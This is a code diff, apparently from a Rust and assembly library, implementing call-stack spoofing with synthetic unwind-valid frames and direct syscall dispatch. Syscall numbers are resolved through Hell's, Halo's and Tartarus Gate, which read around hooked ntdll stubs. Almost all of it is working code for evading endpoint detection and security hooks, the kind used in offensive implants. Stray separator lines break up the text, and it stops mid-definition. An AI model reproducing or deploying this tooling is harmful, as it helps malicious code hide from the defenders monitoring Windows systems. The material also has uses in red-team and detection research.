sub rsp, [rcx + Config.BaseThreadInitThunkFrameSize]
|
||||
push QWORD [rcx + Config.BaseThreadInitThunkAddr]
|
||||
add QWORD [rsp], 14h
|
||||
|
||||
mov rax, rsp
|
||||
|
||||
push QWORD [rcx + Config.FirstFrame]
|
||||
sub rax, [rcx + Config.FirstFrameSize]
|
||||
|
||||
sub rsp, [rcx + Config.SecondFrameSize]
|
||||
mov r10, [rcx + Config.RbpOffset]
|
||||
mov [rsp + r10], rax
|
||||
|
||||
push QWORD [rcx + Config.SecondFrame]
|
||||
|
||||
sub rsp, [rcx + Config.JmpRbxGadgetFrameSize]
|
||||
push QWORD [rcx + Config.JmpRbxGadget]
|
||||
|
||||
sub rsp, [rcx + Config.AddRspXGadgetFrameSize]
|
||||
push QWORD [rcx + Config.AddRspXGadget]
|
||||
|
||||
mov r11, [rcx + Config.SpooFunction]
|
||||
jmp ParametersSynthetic
|
||||
|
||||
ParametersSynthetic:
|
||||
mov r12, rcx
|
||||
mov rax, [r12 + Config.NArgs]
|
||||
|
||||
cmp rax, 1
|
||||
jb skip_1
|
||||
mov rcx, [r12 + Config.Arg01]
|
||||
|
||||
skip_1:
|
||||
cmp rax, 2
|
||||
jb skip_2
|
||||
mov rdx, [r12 + Config.Arg02]
|
||||
|
||||
skip_2:
|
||||
cmp rax, 3
|
||||
jb skip_3
|
||||
mov r8, [r12 + Config.Arg03]
|
||||
|
||||
skip_3:
|
||||
cmp rax, 4
|
||||
jb skip_4
|
||||
mov r9, [r12 + Config.Arg04]
|
||||
|
||||
skip_4:
|
||||
lea r13, [rsp]
|
||||
|
||||
cmp rax, 5
|
||||
jb skip_5
|
||||
mov r10, [r12 + Config.Arg05]
|
||||
mov [r13 + 28h], r10
|
||||
|
||||
skip_5:
|
||||
cmp rax, 6
|
||||
jb skip_6
|
||||
mov r10, [r12 + Config.Arg06]
|
||||
mov [r13 + 30h], r10
|
||||
|
||||
skip_6:
|
||||
cmp rax, 7
|
||||
jb skip_7
|
||||
mov r10, [r12 + Config.Arg07]
|
||||
mov [r13 + 38h], r10
|
||||
|
||||
skip_7:
|
||||
cmp rax, 8
|
||||
jb skip_8
|
||||
mov r10, [r12 + Config.Arg08]
|
||||
mov [r13 + 40h], r10
|
||||
|
||||
skip_8:
|
||||
cmp rax, 9
|
||||
jb skip_9
|
||||
mov r10, [r12 + Config.Arg09]
|
||||
mov [r13 + 48h], r10
|
||||
|
||||
skip_9:
|
||||
cmp rax, 10
|
||||
jb skip_10
|
||||
mov r10, [r12 + Config.Arg10]
|
||||
mov [r13 + 50h], r10
|
||||
|
||||
skip_10:
|
||||
cmp rax, 11
|
||||
jb skip_11
|
||||
mov r10, [r12 + Config.Arg11]
|
||||
mov [r13 + 58h], r10
|
||||
|
||||
skip_11:
|
||||
cmp BYTE [r12 + Config.IsSyscall], 1
|
||||
je ExecuteSyscallSynthetic
|
||||
|
||||
jmp ExecuteSynthetic
|
||||
|
||||
RestoreSynthetic:
|
||||
mov rsp, rbp
|
||||
add QWORD rsp, 210h
|
||||
pop QWORD r15
|
||||
pop QWORD r13
|
||||
pop QWORD r12
|
||||
pop QWORD rbx
|
||||
pop QWORD rbp
|
||||
ret
|
||||
|
||||
ExecuteSynthetic:
|
||||
jmp r11
|
||||
|
||||
ExecuteSyscallSynthetic:
|
||||
mov r10, rcx
|
||||
mov eax, DWORD [r12 + Config.Ssn]
|
||||
jmp r11
|
||||
@@ -0,0 +1,187 @@
|
||||
SpoofSynthetic proto
|
||||
|
||||
.data
|
||||
|
||||
Config STRUCT
|
||||
RtlUserThreadStartAddr DQ 1
|
||||
RtlUserThreadStartFrameSize DQ 1
|
||||
|
||||
BaseThreadInitThunkAddr DQ 1
|
||||
BaseThreadInitThunkFrameSize DQ 1
|
||||
|
||||
FirstFrame DQ 1
|
||||
SecondFrame DQ 1
|
||||
JmpRbxGadget DQ 1
|
||||
AddRspXGadget DQ 1
|
||||
|
||||
FirstFrameSize DQ 1
|
||||
SecondFrameSize DQ 1
|
||||
JmpRbxGadgetFrameSize DQ 1
|
||||
AddRspXGadgetFrameSize DQ 1
|
||||
|
||||
RbpOffset DQ 1
|
||||
|
||||
SpooFunction DQ 1
|
||||
ReturnAddress DQ 1
|
||||
|
||||
IsSyscall DD 0
|
||||
Ssn DD 0
|
||||
|
||||
NArgs DQ 1
|
||||
Arg01 DQ 1
|
||||
Arg02 DQ 1
|
||||
Arg03 DQ 1
|
||||
Arg04 DQ 1
|
||||
Arg05 DQ 1
|
||||
Arg06 DQ 1
|
||||
Arg07 DQ 1
|
||||
Arg08 DQ 1
|
||||
Arg09 DQ 1
|
||||
Arg10 DQ 1
|
||||
Arg11 DQ 1
|
||||
Config ENDS
|
||||
|
||||
.code
|
||||
|
||||
SpoofSynthetic PROC
|
||||
push rbp
|
||||
push rbx
|
||||
push r12
|
||||
push r13
|
||||
push r15
|
||||
|
||||
sub rsp, 210h
|
||||
mov rbp, rsp
|
||||
|
||||
lea rax, RestoreSynthetic
|
||||
push rax
|
||||
lea rbx, [rsp]
|
||||
|
||||
xor rax, rax
|
||||
push rax
|
||||
|
||||
sub rsp, [rcx].Config.RtlUserThreadStartFrameSize
|
||||
push [rcx].Config.RtlUserThreadStartAddr
|
||||
add QWORD PTR [rsp], 21h
|
||||
|
||||
sub rsp, [rcx].Config.BaseThreadInitThunkFrameSize
|
||||
push [rcx].Config.BaseThreadInitThunkAddr
|
||||
add QWORD PTR [rsp], 14h
|
||||
|
||||
mov rax, rsp
|
||||
|
||||
push [rcx].Config.FirstFrame
|
||||
sub rax, [rcx].Config.FirstFrameSize
|
||||
|
||||
sub rsp, [rcx].Config.SecondFrameSize
|
||||
mov r10, [rcx].Config.RbpOffset
|
||||
mov [rsp + r10], rax
|
||||
|
||||
push [rcx].Config.SecondFrame
|
||||
|
||||
sub rsp, [rcx].Config.JmpRbxGadgetFrameSize
|
||||
push [rcx].Config.JmpRbxGadget
|
||||
|
||||
sub rsp, [rcx].Config.AddRspXGadgetFrameSize
|
||||
push [rcx].Config.AddRspXGadget
|
||||
|
||||
mov r11, [rcx].Config.SpooFunction
|
||||
jmp ParametersSynthetic
|
||||
SpoofSynthetic ENDP
|
||||
|
||||
ParametersSynthetic PROC
|
||||
mov r12, rcx
|
||||
mov rax, [r12].Config.NArgs
|
||||
|
||||
cmp rax, 1
|
||||
jb skip_1
|
||||
mov rcx, [r12].Config.Arg01
|
||||
|
||||
skip_1:
|
||||
cmp rax, 2
|
||||
jb skip_2
|
||||
mov rdx, [r12].Config.Arg02
|
||||
|
||||
skip_2:
|
||||
cmp rax, 3
|
||||
jb skip_3
|
||||
mov r8, [r12].Config.Arg03
|
||||
|
||||
skip_3:
|
||||
cmp rax, 4
|
||||
jb skip_4
|
||||
mov r9, [r12].Config.Arg04
|
||||
|
||||
skip_4:
|
||||
lea r13, [rsp]
|
||||
|
||||
cmp rax, 5
|
||||
jb skip_5
|
||||
mov r10, [r12].Config.Arg05
|
||||
mov [r13 + 28h], r10
|
||||
|
||||
skip_5:
|
||||
cmp rax, 6
|
||||
jb skip_6
|
||||
mov r10, [r12].Config.Arg06
|
||||
mov [r13 + 30h], r10
|
||||
|
||||
skip_6:
|
||||
cmp rax, 7
|
||||
jb skip_7
|
||||
mov r10, [r12].Config.Arg07
|
||||
mov [r13 + 38h], r10
|
||||
|
||||
skip_7:
|
||||
cmp rax, 8
|
||||
jb skip_8
|
||||
mov r10, [r12].Config.Arg08
|
||||
mov [r13 + 40h], r10
|
||||
|
||||
skip_8:
|
||||
cmp rax, 9
|
||||
jb skip_9
|
||||
mov r10, [r12].Config.Arg09
|
||||
mov [r13 + 48h], r10
|
||||
|
||||
skip_9:
|
||||
cmp rax, 10
|
||||
jb skip_10
|
||||
mov r10, [r12].Config.Arg10
|
||||
mov [r13 + 50h], r10
|
||||
|
||||
skip_10:
|
||||
cmp rax, 11
|
||||
jb skip_11
|
||||
mov r10, [r12].Config.Arg11
|
||||
mov [r13 + 58h], r10
|
||||
|
||||
skip_11:
|
||||
cmp [r12].Config.IsSyscall, 1
|
||||
je ExecuteSyscallSynthetic
|
||||
|
||||
jmp ExecuteSynthetic
|
||||
ParametersSynthetic ENDP
|
||||
|
||||
RestoreSynthetic PROC
|
||||
mov rsp, rbp
|
||||
add rsp, 210h
|
||||
pop r15
|
||||
pop r13
|
||||
pop r12
|
||||
pop rbx
|
||||
pop rbp
|
||||
ret
|
||||
RestoreSynthetic ENDP
|
||||
|
||||
ExecuteSynthetic PROC
|
||||
jmp QWORD PTR r11
|
||||
ExecuteSynthetic ENDP
|
||||
|
||||
ExecuteSyscallSynthetic PROC
|
||||
mov r10, rcx
|
||||
mov eax, [r12].Config.Ssn
|
||||
jmp QWORD PTR r11
|
||||
ExecuteSyscallSynthetic ENDP
|
||||
|
||||
END
|
||||
@@ -0,0 +1,34 @@
|
||||
use std::{env, process::Command};
|
||||
|
||||
fn main() {
|
||||
let target = env::var("TARGET").unwrap();
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
let spoof_uwd = env::var("CARGO_FEATURE_SPOOF_UWD").is_ok();
|
||||
|
||||
if target.contains("x86_64") {
|
||||
if spoof_uwd {
|
||||
let spoof_synthetic_obj = format!("{}/spoof_synthetic.o", out_dir);
|
||||
|
||||
let status = Command::new("nasm")
|
||||
.args(&[
|
||||
"-f",
|
||||
"win64",
|
||||
"asm/x64/spoof/gnu/synthetic.asm",
|
||||
"-o",
|
||||
&spoof_synthetic_obj,
|
||||
])
|
||||
.status()
|
||||
.expect("Failed to assemble synthetic.asm");
|
||||
|
||||
if !status.success() {
|
||||
panic!("Failed to assemble asm/x64/spoof/gnu/synthetic.asm");
|
||||
}
|
||||
|
||||
cc::Build::new().object(&spoof_synthetic_obj).compile("asm");
|
||||
}
|
||||
} else {
|
||||
panic!("Unsupported target: {}", target);
|
||||
}
|
||||
|
||||
println!("cargo:rerun-if-changed=asm/x64/spoof/gnu/synthetic.asm");
|
||||
}
|
||||
@@ -0,0 +1,223 @@
|
||||
//! UWD (UnWinDer-based) call stack spoofing.
|
||||
//!
|
||||
//! Constructs synthetic stack frames that pass `RtlVirtualUnwind` validation,
|
||||
//! making spoofed API calls appear to originate from legitimate Windows call chains.
|
||||
//!
|
||||
//! # Architecture
|
||||
//!
|
||||
//! ```text
|
||||
//! ┌─────────────┐ ┌──────────────┐ ┌──────────────────┐
|
||||
//! │ lib.rs │ │ stack.rs │ │ types.rs │
|
||||
//! │ macros │───►│ .pdata scan │───►│ Config struct │
|
||||
//! │ spoof_uwd! │ │ frame build │ │ UNWIND_INFO │
|
||||
//! │ spoof_sc! │ │ gadget find │ │ FramePool │
|
||||
//! └──────┬──────┘ └──────────────┘ └──────────────────┘
|
||||
//! │
|
||||
//! ▼
|
||||
//! ASM stub (SpoofSynthetic)
|
||||
//! │
|
||||
//! ▼
|
||||
//! Target function executes with spoofed call stack
|
||||
//! ```
|
||||
//!
|
||||
//! # Modules
|
||||
//!
|
||||
//! - [`stack`] - .pdata parsing, frame size calculation, gadget/prolog scanning, config building
|
||||
//! - [`types`] - `Config`, `UNWIND_INFO`/`UNWIND_CODE`, `FramePool`, `FrameCandidate`
|
||||
//! - `ntdef` - Shared PE types, Windows definitions, and `memmem` (external crate)
|
||||
//! - [`syscall`] - SSN resolution via Hell's/Halo's/Tartarus Gate (feature-gated)
|
||||
//!
|
||||
//! # Feature flags
|
||||
//!
|
||||
//! - `spoof-uwd` - Enables the [`spoof_uwd!`] macro and `SpoofSynthetic` extern.
|
||||
//! - `spoof-syscall` - Enables the [`syscall`] module and [`spoof_syscall!`] macro
|
||||
//! for direct syscall dispatch with stack spoofing.
|
||||
|
||||
#![no_std]
|
||||
#![allow(
|
||||
non_snake_case,
|
||||
non_camel_case_types,
|
||||
non_upper_case_globals,
|
||||
dead_code,
|
||||
unused_imports
|
||||
)]
|
||||
|
||||
/// Synthetic stack frame construction: .pdata parsing, gadget scanning, config building.
|
||||
pub mod stack;
|
||||
|
||||
/// Data structures for the ASM spoof stub: `Config`, `UNWIND_INFO`, `FramePool`.
|
||||
pub mod types;
|
||||
|
||||
/// SSN resolution for direct syscalls (Hell's Gate, Halo's Gate, Tartarus Gate).
|
||||
#[cfg(feature = "spoof-syscall")]
|
||||
pub mod syscall;
|
||||
|
||||
pub use {
|
||||
stack::{build_config, build_syscall_config, rotate_config},
|
||||
types::Config,
|
||||
};
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// ASM entry point - linked from the NASM object built by build.rs
|
||||
// ---------------------------------------------------------------------------
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
extern "C" {
|
||||
/// ASM stub that builds synthetic stack frames and dispatches the spoofed call.
|
||||
pub fn SpoofSynthetic(config: *mut Config) -> *const core::ffi::c_void;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Self-referential re-export module for $crate resolution in macros.
|
||||
//
|
||||
// When `api` re-exports `spoof_uwd!`, the macro's `$crate` still resolves to
|
||||
// `uwd`. The macro uses `$crate::spoof::uwd::types::Config` etc., so we need
|
||||
// this path to exist within `uwd` itself.
|
||||
// ---------------------------------------------------------------------------
|
||||
#[doc(hidden)]
|
||||
pub mod spoof {
|
||||
pub mod uwd {
|
||||
#[cfg(feature = "spoof-syscall")]
|
||||
pub use crate::syscall;
|
||||
pub use crate::{
|
||||
stack::{build_config, build_syscall_config, rotate_config},
|
||||
types,
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
/// Executes a function call with UWD call stack spoofing.
|
||||
///
|
||||
/// Copies the shared `Config`, rotates frame candidates via `rdtsc` entropy,
|
||||
/// loads the target function and arguments, then calls the ASM stub
|
||||
/// `SpoofSynthetic` which builds synthetic stack frames and executes the call.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `$config` - `&Config` - pre-built configuration from [`build_config`]
|
||||
/// * `$func` - Target function pointer to call
|
||||
/// * `$arg...` - Up to 11 arguments passed to the target function
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// The return value from `SpoofSynthetic` (the target function's return value
|
||||
/// as `*const c_void`).
|
||||
///
|
||||
/// # Example
|
||||
///
|
||||
/// ```ignore
|
||||
/// let result = spoof_uwd!(&config, some_api_fn, arg1, arg2, arg3);
|
||||
/// ```
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
#[macro_export]
|
||||
macro_rules! spoof_uwd {
|
||||
($config:expr, $func:expr $(, $arg:expr)* $(,)?) => {{
|
||||
use core::ffi::c_void;
|
||||
let mut config: $crate::spoof::uwd::types::Config = *$config;
|
||||
|
||||
unsafe { $crate::spoof::uwd::rotate_config(&mut config); }
|
||||
|
||||
config.spoof_function = $func as *const c_void;
|
||||
config.is_syscall = 0;
|
||||
|
||||
config.arg01 = core::ptr::null();
|
||||
config.arg02 = core::ptr::null();
|
||||
config.arg03 = core::ptr::null();
|
||||
config.arg04 = core::ptr::null();
|
||||
config.arg05 = core::ptr::null();
|
||||
config.arg06 = core::ptr::null();
|
||||
config.arg07 = core::ptr::null();
|
||||
config.arg08 = core::ptr::null();
|
||||
config.arg09 = core::ptr::null();
|
||||
config.arg10 = core::ptr::null();
|
||||
config.arg11 = core::ptr::null();
|
||||
|
||||
let args: &[*const c_void] = &[$($arg as *const c_void),*];
|
||||
config.number_args = args.len() as u64;
|
||||
|
||||
if args.len() > 0 { config.arg01 = args[0]; }
|
||||
if args.len() > 1 { config.arg02 = args[1]; }
|
||||
if args.len() > 2 { config.arg03 = args[2]; }
|
||||
if args.len() > 3 { config.arg04 = args[3]; }
|
||||
if args.len() > 4 { config.arg05 = args[4]; }
|
||||
if args.len() > 5 { config.arg06 = args[5]; }
|
||||
if args.len() > 6 { config.arg07 = args[6]; }
|
||||
if args.len() > 7 { config.arg08 = args[7]; }
|
||||
if args.len() > 8 { config.arg09 = args[8]; }
|
||||
if args.len() > 9 { config.arg10 = args[9]; }
|
||||
if args.len() > 10 { config.arg11 = args[10]; }
|
||||
|
||||
$crate::SpoofSynthetic(&mut config)
|
||||
}};
|
||||
}
|
||||
|
||||
/// Executes a direct syscall with UWD call stack spoofing.
|
||||
///
|
||||
/// Like [`spoof_uwd!`] but resolves the SSN (System Service Number) and
|
||||
/// `syscall` instruction address from the ntdll stub, then dispatches
|
||||
/// directly via the `syscall` instruction instead of calling through ntdll.
|
||||
///
|
||||
/// # Resolution flow
|
||||
///
|
||||
/// ```text
|
||||
/// func_addr (ntdll stub) ──► ssn() ──► SSN (u16)
|
||||
/// ──► get_syscall_address ──► syscall;ret addr
|
||||
/// ```
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `$config` - `&Config` - pre-built configuration from [`build_syscall_config`]
|
||||
/// * `$func` - Pointer to the ntdll stub (e.g., `NtAllocateVirtualMemory`)
|
||||
/// * `$arg...` - Up to 11 arguments passed to the syscall
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// The syscall return value (NTSTATUS as `*const c_void`).
|
||||
#[cfg(feature = "spoof-syscall")]
|
||||
#[macro_export]
|
||||
macro_rules! spoof_syscall {
|
||||
($config:expr, $func:expr $(, $arg:expr)* $(,)?) => {{
|
||||
use core::ffi::c_void;
|
||||
let mut config: $crate::spoof::uwd::types::Config = *$config;
|
||||
|
||||
unsafe { $crate::spoof::uwd::rotate_config(&mut config); }
|
||||
|
||||
let func_addr = $func as *const u8;
|
||||
let ssn = unsafe { $crate::spoof::uwd::syscall::ssn(func_addr) }
|
||||
.unwrap_or(0);
|
||||
let syscall_addr = unsafe { $crate::spoof::uwd::syscall::get_syscall_address(func_addr) }
|
||||
.unwrap_or(func_addr as *const c_void);
|
||||
|
||||
config.spoof_function = syscall_addr;
|
||||
config.is_syscall = 1;
|
||||
config.ssn = ssn as u32;
|
||||
|
||||
config.arg01 = core::ptr::null();
|
||||
config.arg02 = core::ptr::null();
|
||||
config.arg03 = core::ptr::null();
|
||||
config.arg04 = core::ptr::null();
|
||||
config.arg05 = core::ptr::null();
|
||||
config.arg06 = core::ptr::null();
|
||||
config.arg07 = core::ptr::null();
|
||||
config.arg08 = core::ptr::null();
|
||||
config.arg09 = core::ptr::null();
|
||||
config.arg10 = core::ptr::null();
|
||||
config.arg11 = core::ptr::null();
|
||||
|
||||
let args: &[*const c_void] = &[$($arg as *const c_void),*];
|
||||
config.number_args = args.len() as u64;
|
||||
|
||||
if args.len() > 0 { config.arg01 = args[0]; }
|
||||
if args.len() > 1 { config.arg02 = args[1]; }
|
||||
if args.len() > 2 { config.arg03 = args[2]; }
|
||||
if args.len() > 3 { config.arg04 = args[3]; }
|
||||
if args.len() > 4 { config.arg05 = args[4]; }
|
||||
if args.len() > 5 { config.arg06 = args[5]; }
|
||||
if args.len() > 6 { config.arg07 = args[6]; }
|
||||
if args.len() > 7 { config.arg08 = args[7]; }
|
||||
if args.len() > 8 { config.arg09 = args[8]; }
|
||||
if args.len() > 9 { config.arg10 = args[9]; }
|
||||
if args.len() > 10 { config.arg11 = args[10]; }
|
||||
|
||||
$crate::SpoofSynthetic(&mut config)
|
||||
}};
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,160 @@
|
||||
//! SSN (System Service Number) resolution for direct syscalls.
|
||||
//!
|
||||
//! Resolves the SSN from an ntdll stub so the ASM spoof stub can execute
|
||||
//! the `syscall` instruction directly instead of calling through ntdll.
|
||||
//!
|
||||
//! # Resolution strategies
|
||||
//!
|
||||
//! **Hell's Gate** - reads SSN from an unhooked stub:
|
||||
//! ```text
|
||||
//! 4C 8B D1 mov r10, rcx
|
||||
//! B8 XX XX 00 00 mov eax, <SSN> ← bytes 4-5 are the SSN
|
||||
//! ```
|
||||
//!
|
||||
//! **Halo's Gate** - stub is hooked (starts with 0xE9 JMP). Scans neighbor
|
||||
//! stubs ±32 bytes apart, adjusts SSN by the neighbor distance.
|
||||
//!
|
||||
//! **Tartarus Gate** - partial hook at byte +3 (0xE9). Same neighbor scan.
|
||||
//!
|
||||
//! # Difference from dinvk
|
||||
//!
|
||||
//! dinvk's `ssn()` takes a function name string and walks the export table
|
||||
//! with jenkins3 hashing. Our version takes the already-resolved function
|
||||
//! pointer directly (from `NtdllModule.*_ptr`) and just reads stub bytes.
|
||||
|
||||
use core::{ffi::c_void, ptr::read};
|
||||
|
||||
/// Maximum neighbor distance to scan (Hell's/Halo's/Tartarus Gate).
|
||||
const RANGE: usize = 255;
|
||||
|
||||
/// Byte offset between adjacent ntdll syscall stubs (downward).
|
||||
const DOWN: usize = 32;
|
||||
|
||||
/// Byte offset between adjacent ntdll syscall stubs (upward).
|
||||
const UP: isize = -32;
|
||||
|
||||
/// Resolves the SSN for an Nt function by reading its ntdll stub.
|
||||
///
|
||||
/// Uses Hell's Gate (unhooked) -> Halo's Gate (hooked) -> Tartarus Gate (partial hook).
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `func_addr` - Pointer to the start of the ntdll stub (already resolved).
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// The SSN as a `u16`, or `None` if resolution fails.
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// `func_addr` must point to a valid ntdll syscall stub in readable memory.
|
||||
#[link_section = ".text$E"]
|
||||
pub unsafe fn ssn(func_addr: *const u8) -> Option<u16> {
|
||||
// Hell's Gate: unhooked stub
|
||||
// 4C 8B D1 mov r10, rcx
|
||||
// B8 XX XX 00 00 mov eax, <SSN>
|
||||
if read(func_addr) == 0x4C
|
||||
&& read(func_addr.add(1)) == 0x8B
|
||||
&& read(func_addr.add(2)) == 0xD1
|
||||
&& read(func_addr.add(3)) == 0xB8
|
||||
&& read(func_addr.add(6)) == 0x00
|
||||
&& read(func_addr.add(7)) == 0x00
|
||||
{
|
||||
let high = read(func_addr.add(5)) as u16;
|
||||
let low = read(func_addr.add(4)) as u16;
|
||||
return Some((high << 8) | low);
|
||||
}
|
||||
|
||||
// Halo's Gate: stub starts with JMP (0xE9) - hooked by software
|
||||
if read(func_addr) == 0xE9 {
|
||||
for idx in 1..RANGE {
|
||||
// Check neighbor stub downward (+idx * 32 bytes)
|
||||
if read(func_addr.add(idx * DOWN)) == 0x4C
|
||||
&& read(func_addr.add(1 + idx * DOWN)) == 0x8B
|
||||
&& read(func_addr.add(2 + idx * DOWN)) == 0xD1
|
||||
&& read(func_addr.add(3 + idx * DOWN)) == 0xB8
|
||||
&& read(func_addr.add(6 + idx * DOWN)) == 0x00
|
||||
&& read(func_addr.add(7 + idx * DOWN)) == 0x00
|
||||
{
|
||||
let high = read(func_addr.add(5 + idx * DOWN)) as u16;
|
||||
let low = read(func_addr.add(4 + idx * DOWN)) as u16;
|
||||
return Some((high << 8) | (low - idx as u16));
|
||||
}
|
||||
|
||||
// Check neighbor stub upward (-idx * 32 bytes)
|
||||
if read(func_addr.offset(idx as isize * UP)) == 0x4C
|
||||
&& read(func_addr.offset(1 + idx as isize * UP)) == 0x8B
|
||||
&& read(func_addr.offset(2 + idx as isize * UP)) == 0xD1
|
||||
&& read(func_addr.offset(3 + idx as isize * UP)) == 0xB8
|
||||
&& read(func_addr.offset(6 + idx as isize * UP)) == 0x00
|
||||
&& read(func_addr.offset(7 + idx as isize * UP)) == 0x00
|
||||
{
|
||||
let high = read(func_addr.offset(5 + idx as isize * UP)) as u16;
|
||||
let low = read(func_addr.offset(4 + idx as isize * UP)) as u16;
|
||||
return Some((high << 8) | (low + idx as u16));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Tartarus Gate: partial hook at byte +3 (JMP at offset 3)
|
||||
if read(func_addr.add(3)) == 0xE9 {
|
||||
for idx in 1..RANGE {
|
||||
// Check neighbor stub downward
|
||||
if read(func_addr.add(idx * DOWN)) == 0x4C
|
||||
&& read(func_addr.add(1 + idx * DOWN)) == 0x8B
|
||||
&& read(func_addr.add(2 + idx * DOWN)) == 0xD1
|
||||
&& read(func_addr.add(3 + idx * DOWN)) == 0xB8
|
||||
&& read(func_addr.add(6 + idx * DOWN)) == 0x00
|
||||
&& read(func_addr.add(7 + idx * DOWN)) == 0x00
|
||||
{
|
||||
let high = read(func_addr.add(5 + idx * DOWN)) as u16;
|
||||
let low = read(func_addr.add(4 + idx * DOWN)) as u16;
|
||||
return Some((high << 8) | (low - idx as u16));
|
||||
}
|
||||
|
||||
// Check neighbor stub upward
|
||||
if read(func_addr.offset(idx as isize * UP)) == 0x4C
|
||||
&& read(func_addr.offset(1 + idx as isize * UP)) == 0x8B
|
||||
&& read(func_addr.offset(2 + idx as isize * UP)) == 0xD1
|
||||
&& read(func_addr.offset(3 + idx as isize * UP)) == 0xB8
|
||||
&& read(func_addr.offset(6 + idx as isize * UP)) == 0x00
|
||||
&& read(func_addr.offset(7 + idx as isize * UP)) == 0x00
|
||||
{
|
||||
let high = read(func_addr.offset(5 + idx as isize * UP)) as u16;
|
||||
let low = read(func_addr.offset(4 + idx as isize * UP)) as u16;
|
||||
return Some((high << 8) | (low + idx as u16));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
/// Finds the `syscall; ret` instruction address inside an ntdll stub.
|
||||
///
|
||||
/// Scans for bytes `0F 05 C3` within 255 bytes of the function address.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `func_addr` - Pointer to the start of the ntdll stub.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// Address of the `syscall` instruction (0F 05), or `None` if not found.
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// `func_addr` must point into readable ntdll memory with at least 255
|
||||
/// bytes accessible after it.
|
||||
#[link_section = ".text$E"]
|
||||
pub unsafe fn get_syscall_address(func_addr: *const u8) -> Option<*const c_void> {
|
||||
for i in 1..255usize {
|
||||
if read(func_addr.add(i)) == 0x0F
|
||||
&& read(func_addr.add(i + 1)) == 0x05
|
||||
&& read(func_addr.add(i + 2)) == 0xC3
|
||||
{
|
||||
return Some(func_addr.add(i) as *const c_void);
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
@@ -0,0 +1,489 @@
|
||||
//! UNWIND_INFO structures and Config for UWD synthetic stack spoofing.
|
||||
//!
|
||||
//! This module defines the data structures used by the UWD spoof system:
|
||||
//!
|
||||
//! 1. [`UNWIND_CODE`] / [`UNWIND_INFO`] - Mirror of the Windows x64 exception ABI
|
||||
//! structures used to parse `.pdata`/UNWIND_INFO and calculate stack frame sizes.
|
||||
//!
|
||||
//! 2. [`UNWIND_OP_CODES`] / [`Registers`] - Enums for interpreting unwind operations
|
||||
//! and identifying saved registers.
|
||||
//!
|
||||
//! 3. [`Config`] - The bridge between Rust and the ASM spoof stub. Populated by
|
||||
//! [`build_config()`](super::stack::build_config), consumed by `SpoofSynthetic()`.
|
||||
//!
|
||||
//! # Why UWD defines its own UNWIND_CODE/UNWIND_INFO
|
||||
//!
|
||||
//! The `api` crate's `windows.rs` defines `UNWIND_CODE` as a flat struct:
|
||||
//! ```text
|
||||
//! struct UNWIND_CODE { CodeOffset: u8, UnwindOpAndInfo: u8 }
|
||||
//! ```
|
||||
//!
|
||||
//! UWD needs a **union** so the same 2-byte slot can be read as either:
|
||||
//! - `Anonymous.OpAndInfo` - when parsing opcode/info bits
|
||||
//! - `FrameOffset` - when reading a raw `u16` value (multi-slot opcodes)
|
||||
//!
|
||||
//! This matches how the Windows unwinder actually interprets these slots.
|
||||
//!
|
||||
//! # Memory layout of UNWIND_INFO in a PE
|
||||
//!
|
||||
//! ```text
|
||||
//! ┌────────────────────────────┐ offset 0
|
||||
//! │ VersionAndFlags (u8) │ bits 0-2: version, bits 3-7: flags
|
||||
//! │ SizeOfProlog (u8) │ prologue size in bytes
|
||||
//! │ CountOfCodes (u8) │ number of UNWIND_CODE slots
|
||||
//! │ FrameRegisterAndOffset(u8) │ bits 0-3: frame reg, bits 4-7: offset
|
||||
//! ├────────────────────────────┤ offset 4
|
||||
//! │ UNWIND_CODE[0] (u16) │ first unwind operation
|
||||
//! │ UNWIND_CODE[1] (u16) │ second (or extra data for [0])
|
||||
//! │ ... │
|
||||
//! │ UNWIND_CODE[n-1] (u16) │ last unwind operation
|
||||
//! ├────────────────────────────┤ offset 4 + n*2 (aligned to 4 bytes)
|
||||
//! │ ExceptionHandler (u32) │ if UNW_FLAG_EHANDLER set
|
||||
//! │ - or - │
|
||||
//! │ RUNTIME_FUNCTION (12B) │ if UNW_FLAG_CHAININFO set (chained entry)
|
||||
//! └────────────────────────────┘
|
||||
//! ```
|
||||
//!
|
||||
//! # References
|
||||
//!
|
||||
//! - [Microsoft x64 exception handling](https://learn.microsoft.com/en-us/cpp/build/exception-handling-x64)
|
||||
|
||||
use core::ffi::c_void;
|
||||
|
||||
/// Indicates the presence of an exception handler in the function.
|
||||
pub const UNW_FLAG_EHANDLER: u8 = 0x1;
|
||||
|
||||
/// Indicates the presence of an unwind handler in the function.
|
||||
pub const UNW_FLAG_UHANDLER: u8 = 0x2;
|
||||
|
||||
/// Indicates chained unwind information is present.
|
||||
pub const UNW_FLAG_CHAININFO: u8 = 0x4;
|
||||
|
||||
// ============================================================================
|
||||
// UNWIND_CODE
|
||||
// ============================================================================
|
||||
|
||||
/// Union representing a single unwind operation code.
|
||||
///
|
||||
/// Each UNWIND_CODE is 2 bytes (u16). It can be read as either:
|
||||
/// - `FrameOffset`: raw u16 value (used by UWOP_ALLOC_LARGE as extra slot)
|
||||
/// - `Anonymous`: structured CodeOffset + OpAndInfo fields
|
||||
#[repr(C)]
|
||||
pub union UNWIND_CODE {
|
||||
/// Raw 16-bit frame offset (used as extra data by some opcodes).
|
||||
pub FrameOffset: u16,
|
||||
|
||||
/// Structured fields of the unwind code.
|
||||
